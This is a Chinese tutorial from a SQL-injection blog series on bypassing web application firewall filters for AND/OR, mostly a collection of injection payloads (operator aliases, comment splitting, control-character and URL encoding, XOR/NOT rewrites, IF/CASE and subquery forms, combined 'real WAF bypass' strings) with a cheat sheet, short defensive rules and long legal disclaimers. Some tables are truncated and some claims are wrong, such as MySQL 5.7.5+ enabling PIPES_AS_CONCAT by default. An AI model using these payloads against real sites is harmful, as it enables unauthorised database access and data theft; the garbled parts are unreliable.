5-数据库-SQL注入-联合查询-AND/OR绕过-day13

WAF 绕过 --- AND/OR 逻辑运算符绕过手册

📋 文章目录

  • 绕过核心思路
  • 一、基础手法
    • [1.1 运算符替代](#1.1 运算符替代)
    • [1.2 注释分割关键字](#1.2 注释分割关键字)
    • [1.3 数学比较替代](#1.3 数学比较替代)
  • 二、进阶手法
    • [2.1 换行与控制字符](#2.1 换行与控制字符)
    • [2.2 反引号与括号](#2.2 反引号与括号)
    • [2.3 编码绕过](#2.3 编码绕过)
  • 三、高阶手法
    • [3.1 逻辑重组 --- XOR 替代 OR](#3.1 逻辑重组 — XOR 替代 OR)
    • [3.2 逻辑重组 --- NOT 反转](#3.2 逻辑重组 — NOT 反转)
    • [3.3 函数替代](#3.3 函数替代)
    • [3.4 子查询替代](#3.4 子查询替代)
    • [3.5 数据库差异化绕过](#3.5 数据库差异化绕过)
    • [3.6 真实 WAF 绕过示例](#3.6 真实 WAF 绕过示例)
  • 四、速查表
  • 五、防御建议

⚠️ 重要免责声明

本文档仅供网络安全知识教学、安全研究和合法的渗透测试(需获得明确授权)使用。所有内容均为合法的网络安全教育材料,旨在帮助安全人员了解攻击手法以更好地进行防御。

使用须知:

  1. 合法合规原则:本文所授知识仅可用于:

    • 保护自身系统和网络安全
    • 进行合法的渗透测试(必须获得系统所有者的书面授权)
    • 安全研究和教育目的
    • 提升网络安全意识和防御能力
  2. 严禁违法行为:严禁将本文知识用于任何非法活动,包括但不限于:

    • 未经授权的系统入侵、数据窃取、网络攻击
    • 破坏计算机信息系统
    • 敲诈勒索、非法获利
    • 传播恶意软件
    • 其他任何违反《中华人民共和国网络安全法》及相关法律法规的行为
  3. 责任自负原则:任何违反法律法规使用本文知识的行为,后果由行为人自行承担全部法律责任。作者及平台不承担任何连带责任。

  4. 授权测试要求:进行网络安全测试前,必须获得系统所有者的明确书面授权。未经授权的测试等同于非法入侵。

  5. 教育目的声明:本文旨在培养网络安全防御人才,提升整体网络安全防护水平,维护网络空间安全。请读者树立正确的网络安全观,将所学知识用于正当防卫。

阅读本文即表示您已理解并同意上述免责条款,承诺仅将所学知识用于合法的网络安全防护和学习。


在 SQL 注入中,ANDOR 是最常被 WAF 和过滤函数拦截的关键字。本文档系统讲解绕过原理与手法,按难易程度分层:基础 → 进阶 → 高阶。


绕过核心思路

绕过 AND / OR 的核心思路是:用"等价逻辑"或"语法变形"替代原始关键字,使 WAF 的正则匹配不到原词,但 SQL 引擎能正确解析为等价的逻辑运算。


一、基础手法

1.1 运算符替代

用符号运算符替代文字关键字,是最基础、最常用的绕过方式。

原逻辑 替代写法 说明
AND && MySQL 支持,等价于 AND
OR `
sql 复制代码
-- 原语句
?id=1' AND 1=1 --+
?id=1' OR 1=2 --+

-- 运算符替代
?id=1' && 1=1 --+
?id=1' || 1=2 --+

MySQL || 的行为说明

  • 默认模式下,|| 是逻辑 OR 运算符,等价于 OR
  • 当设置了 PIPES_AS_CONCAT SQL 模式时,|| 变为字符串连接符(类似 CONCAT),不再是 OR
  • MySQL 5.7.5+ 默认开启了 PIPES_AS_CONCAT|| 的行为可能是连接而非 OR

可以通过 SELECT @@sql_mode; 查看当前模式。如果包含 PIPES_AS_CONCAT,则 || 是连接符,不能用作 OR 替代。

位运算符(需要数值环境)

原逻辑 替代写法 说明
AND & 按位与,需要两侧为整数
OR ` `
sql 复制代码
-- 位运算(需要数值环境)
SELECT 1 & 1;   -- 结果: 1 (真)
SELECT 1 | 0;   -- 结果: 1 (真)
SELECT 1 & 0;   -- 结果: 0 (假)

注意:位运算符操作的是整数的二进制位,不是布尔逻辑。在 WHERE 条件中使用时,MySQL 会将表达式结果转为整数(1=真,0=假),然后进行位运算。但在某些复杂表达式中行为可能与逻辑 AND/OR 不一致。

1.2 注释分割关键字

利用多行注释在关键字中间插入注释内容,使正则无法匹配完整单词。

sql 复制代码
-- 在 AND 中间插入注释
AN/**/D
O/*xxx*/R

-- 实际使用
?id=1' AN/**/D 1=1 --+
?id=1' O/*xxx*/R 1=1 --+

-- MySQL 特殊注释
?id=1' /*!50000AND*/ 1=1 --+
?id=1' /*!50000OR*/ 1=1 --+

原理

阶段 AN/**/D 的处理
WAF 正则检测 AN/**/DAND → 不匹配 → 绕过
SQL 执行 /**/ 被忽略 → AN/**/D = AND → 正常执行

注意 :与关键字绕过文档中所述一致,单行注释 --# 不能分割关键字的字母。只有多行注释 /**/ 和 MySQL 特殊注释 /*!*/ 可以。

1.3 数学比较替代

利用数学比较运算符构造等价逻辑条件。

sql 复制代码
-- AND 的逻辑等价:两个条件都为真
-- 可以用 BETWEEN 构造范围判断
?id=1' WHERE 1 BETWEEN 1 AND 1 --+

-- 使用比较运算符构造永真/永假条件
?id=1' WHERE 1=1 --+    -- 永真(替代 AND 1=1)
?id=1' WHERE 1<>1 --+   -- 永假(替代 AND 1=2)

说明WHERE 1=1 并不是直接"替代" AND 关键字,而是在已经闭合了原语句后,用永真条件构造新的 WHERE 子句。这种方法的适用场景有限。


二、进阶手法

2.1 换行与控制字符

利用 URL 编码的控制字符在关键字中插入不可见字符,干扰正则匹配。

编码 含义 说明
%0a 换行 换行符,SQL 解析器视为空白
%0d 回车 回车符,SQL 解析器视为空白
%09 Tab 水平制表符
%0b 垂直制表 垂直制表符
%0c 换页 换页符
sql 复制代码
-- 在 AND 前后插入换行符
?id=1'%0aAND%0a1=1

-- 在 OR 前后插入 Tab
?id=1'%09OR%091=1

-- 混合控制字符
?id=1'%0aAND%0d1=1

注意 :控制字符只能插在关键字的前后 ,不能插在关键字的字母之间 (如 A%0aN%0aD 不会被执行为 AND)。这与单行注释分割关键字的限制类似------SQL 解析器不会跨空白字符拼接单词。

2.2 反引号与括号

尝试用反引号或括号包裹关键字,使正则不匹配。

sql 复制代码
-- 反引号包裹(不推荐,可能语法错误)
?id=1' `AND` 1=1 --+
-- MySQL 中反引号用于标识符,包裹关键字后可能被当作标识符而非运算符

-- 括号包裹逻辑表达式
?id=1' AND (1=1) --+
?id=1' OR (1=1) --+
-- 括号不改变运算符含义,但可以干扰某些正则

注意 :反引号包裹 AND 在 MySQL 中通常不会被当作逻辑运算符执行,而是被当作列名/标识符。因此这种方法风险较高,可能直接语法报错。实际测试中应优先使用其他方法。

2.3 编码绕过

AND / OR 进行各种编码,使 WAF 正则匹配不到原始字符串。

URL 编码

sql 复制代码
-- 单次 URL 编码
AND → %41%4e%44
OR  → %4f%52

?id=1' %41%4e%44 1=1 --+
?id=1' %4f%52 1=1 --+

双重 URL 编码

sql 复制代码
AND → %2541%254e%2544
OR  → %254f%2552

?id=1' %2541%254e%2544 1=1 --+

编码绕过的条件:与关键字绕过文档中所述一致,URL 编码绕过是否成功取决于 WAF 检测和最终解码之间的"解码次数差"。详见《WAF 绕过 --- 关键字绕过手册》中的 URL 编码章节。

Hex / 字符编码

sql 复制代码
-- 十六进制(仅用于字符串值,不能替代关键字)
SELECT 0x414e44;           -- 返回字符串 'AND'
SELECT CHAR(65,78,68);     -- 返回字符串 'AND'
SELECT CHAR(79,82);        -- 返回字符串 'OR'

-- 注意:这些返回的是字符串值,不是逻辑运算符
-- WHERE 0x414e44 是语法错误,因为 WHERE 后期待的是条件表达式,不是字符串值

Unicode 编码(适用于 JSON/XML 输入):

json 复制代码
{"id":"1\u0041\u004e\u0044 1=1"}

三、高阶手法

3.1 逻辑重组 --- XOR 替代 OR

XOR(异或)是 MySQL 支持的逻辑运算符,可以用来构造等价的 OR 逻辑。

sql 复制代码
-- XOR:两真一假返回真,两同返回假
-- a XOR b 等价于 (a AND NOT b) OR (NOT a AND b)

-- 利用 XOR 替代 OR
?id=1' XOR 1=1 --+

-- 更复杂的逻辑等价
-- OR 1=1 等价于 NOT(1=0)
-- AND 1=1 等价于 NOT(1=0 OR 1=0)(德摩根定律)

3.2 逻辑重组 --- NOT 反转

利用德摩根定律将 AND/OR 逻辑转换为 NOT 表达式。

sql 复制代码
-- 德摩根定律
-- NOT (A AND B) = NOT A OR NOT B
-- NOT (A OR B) = NOT A AND NOT B

-- AND 的等价表达
AND → NOT (cond1=0 OR cond2=0)

-- OR 的等价表达
OR → NOT (cond1=0 AND cond2=0)
sql 复制代码
-- 实际使用
-- 原语句: ?id=1' AND 1=1 --+
-- 用 NOT 替代:
?id=1' NOT (1=0 OR 1=0) --+

-- 原语句: ?id=1' OR 1=1 --+
-- 用 NOT 替代:
?id=1' NOT (1=0 AND 1=0) --+

3.3 函数替代

利用 MySQL 内置函数构造等价的逻辑判断,完全避开 AND / OR 关键字。

IF 函数

sql 复制代码
-- IF(condition, true_value, false_value)
-- 替代 AND 逻辑
?id=1' AND IF(1=1,1,0) --+
-- 替代 OR 逻辑
?id=1' OR IF(1=1,1,0) --+

-- 完全用 IF 替代 AND/OR
?id=1' WHERE IF(1=1 AND 1=1,1,0) --+
-- 注意:IF 内部仍可使用 AND/OR,如果 AND 也被过滤则需用其他方式

CASE WHEN

sql 复制代码
-- CASE WHEN condition THEN true_value ELSE false_value END
-- 替代 AND 逻辑
?id=1' AND CASE WHEN 1=1 THEN 1 ELSE 0 END --+

-- 替代 OR 逻辑
?id=1' OR CASE WHEN 1=1 THEN 1 ELSE 0 END --+

-- 嵌套使用
?id=1' WHERE CASE WHEN (1=1) THEN CASE WHEN (1=1) THEN 1 ELSE 0 END ELSE 0 END=1 --+

3.4 子查询替代

利用子查询的存在性判断替代 AND/OR 逻辑。

sql 复制代码
-- 使用 EXISTS 替代 OR
?id=1' OR EXISTS(SELECT 1 FROM admin) --+

-- 使用子查询替代 AND
?id=1' AND (SELECT 1 FROM users LIMIT 1) --+

-- 子查询返回值作为条件
?id=1' AND (SELECT COUNT(*) FROM users)>0 --+
?id=1' OR (SELECT 1)=1 --+

3.5 数据库差异化绕过

不同数据库对逻辑运算符的支持存在差异,了解这些差异有助于在特定环境下绕过。

MySQL

sql 复制代码
-- 运算符别名
&& → AND
|| → OR(默认模式)或 连接(PIPES_AS_CONCAT 模式)
!  → NOT

-- MySQL 特有
/*!50000 AND*/    -- 版本条件注释
/*!50000 OR*/     -- 版本条件注释

MSSQL

sql 复制代码
-- MSSQL 不支持 && 和 || 作为逻辑运算符
-- 使用位运算
AND → &  -- 按位与(整数环境)
OR  → |  -- 按位或(整数环境)
-- 注意:MSSQL 中 || 不是 OR,| 才是按位或

Oracle

sql 复制代码
-- Oracle 中 || 是字符串连接符,不是 OR
-- 使用 AND/OR 关键字或以下方式
AND → 在 PL/SQL 中无运算符别名
OR  → 在 PL/SQL 中无运算符别名
-- Oracle 不支持 && 作为逻辑 AND

3.6 真实 WAF 绕过示例

以下组合多种手法的真实绕过示例:

sql 复制代码
-- MySQL 特殊注释 + 运算符
?id=1'/*!50001AND*/1=1
?id=1'/*!50001OR*/1=1

-- 换行 + 关键字
?id=1'%0aOR%0a1=1

-- 注释分割 + 运算符
?id=1' AN/*!*/D 1=1

-- 运算符 + 子查询
?id=1' && (SELECT 1)=1

-- 混合绕过
?id=1'/*!50001AN*//*!*/D*/1=1
?id=1'%0a/*!50000OR*/%0a1=1

四、速查表

原语句 基础替代 进阶替代 高阶替代
AND 1=1 && 1=1 AN/**/D 1=1 NOT(1=0 OR 1=0)
OR 1=1 ` 1=1`
AND 1=1 --- A%0aN%0aD 1=1 IF(1=1,1,0)
OR 1=1 --- %0aOR%0a1=1 CASE WHEN 1=1 THEN 1 ELSE 0 END
AND 1=1 BETWEEN 1 AND 1 /*!50000AND*/ 1=1 (SELECT 1)=1
OR 1=1 --- %4f%52 1=1 EXISTS(SELECT 1 FROM admin)

注意A%0aN%0aD 形式(在字母间插入控制字符)实际上不能 被 MySQL 解析为 AND,因为 SQL 解析器不会跨空白字符拼接单词。此条仅列出以示区别,实际应使用 AN/**/D%0aAND%0a(控制字符在关键字前后)。


五、防御建议

WAF 正则规则应覆盖以下维度:

  1. 运算符别名检测 :同时检测 &&||! 等运算符别名
  2. 注释分割检测 :去除注释内容后再匹配关键字(/\/\*.*?\*\// → 删除 → 再匹配)
  3. 控制字符过滤 :检测 %0a%0d%09 等控制字符
  4. 递归 URL 解码:对输入进行递归解码直到结果不再变化
  5. 函数检测 :检测 IF(CASE WHENEXISTS( 等可能用于逻辑替代的函数
  6. 位运算检测 :检测 &| 在 WHERE 条件中的使用
  7. MySQL 特殊注释 :检测 /*! 模式
  8. 统一字符集:UTF-8 编码,避免字符集差异导致的绕过

⚠️ 再次重申免责声明

重要提醒

本文所有关于 WAF 绕过技术的内容仅供以下合法用途:

  1. 安全防护:帮助安全工程师了解攻击手法,设计更完善的防御策略
  2. 授权测试:在获得明确书面授权的前提下进行渗透测试
  3. 教育培训:用于网络安全相关的教学和培训
  4. 研究学习:个人学习和技术研究

法律与道德准则

  • 遵守法律法规:严格遵守《中华人民共和国网络安全法》、《刑法》等相关法律法规
  • 尊重他人权益:不得侵犯他人的隐私权、财产权和数据安全
  • 报告安全漏洞:发现安全漏洞时应通过正规渠道向相关方报告,不得利用漏洞进行非法活动
  • 维护网络秩序:积极维护清朗的网络空间,举报违法行为

读者承诺

我已阅读并理解本文的免责声明,郑重承诺:

  1. 仅将所学知识用于合法的网络安全防护、研究和学习
  2. 不参与任何未经授权的网络活动
  3. 在进行安全测试前确保获得合法授权
  4. 发现安全问题及时通过正规渠道报告
  5. 积极维护网络空间的安全与稳定

网络安全,人人有责。让我们共同构建安全、可信的网络环境!


最后更新:2026年8月1日

作者:网络安全教育团队

版权声明:本文仅供学习交流,转载请注明出处。严禁用于任何非法用途。

相关推荐
Csvn1 小时前
📊 SQL 入门 Day 11:CASE 表达式:SQL 里的 if-else 魔法
后端·sql
踏着七彩祥云的小丑1 小时前
忘记Redis是否安装过时查看
数据库·redis·缓存
Nontee2 小时前
设计模式:模板方法与策略,从“每个字都认识“到能说清它们在干嘛
java·数据库·设计模式
眞bilibili3 小时前
带团队后的日常思考(十七)
数据库
laboratory agent开发3 小时前
智能体多工具串联执行中途失败,部分写入的数据如何回滚
运维·服务器·数据库
段一凡-华北理工大学4 小时前
AI推动工业智能化转型~系列文章07:分类与诊断算法体系:故障识别的完整工具箱
数据库·人工智能·算法·机器学习·分类·数据挖掘·高炉炼铁智能化
DBA_G4 小时前
南大通用GBase HD数据平台讲解
数据库
foolishlee4 小时前
Neon wal日志处理流程
数据库
星马梦缘5 小时前
数据库 事务管理 专项作战记录
数据库